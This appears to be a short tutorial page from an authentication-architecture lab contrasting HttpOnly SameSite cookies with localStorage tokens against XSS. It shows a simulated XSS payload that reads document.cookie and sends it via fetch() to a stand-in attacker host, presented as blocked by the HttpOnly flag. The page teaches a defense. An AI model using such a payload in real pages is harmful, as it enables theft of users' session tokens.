AuthCosmos OAuth 2.0, JWT, OIDC & RBAC Architecture

HttpOnly Cookies vs LocalStorage Tokens Lab

Interactive evaluation of XSS token theft vectors vs browser-enforced HttpOnly SameSite cookie defenses.

Web Storage & Attack Surface

HttpOnly SameSite Cookies vs LocalStorage Tokens

🛡️ IMMUNE TO XSS TOKEN EXFILTRATION

Simulated Malicious XSS Script Execution:Attack Blocked by Browser

// Malicious XSS Payload attempts to access cookie:
const stolenToken = document.cookie; // Returns "" (Empty string!)
fetch("https://attacker-c2.com/exfil?t=" + stolenToken);

🛡️ HttpOnly flag prevents JavaScript from accessing token! Exfiltration completely failed.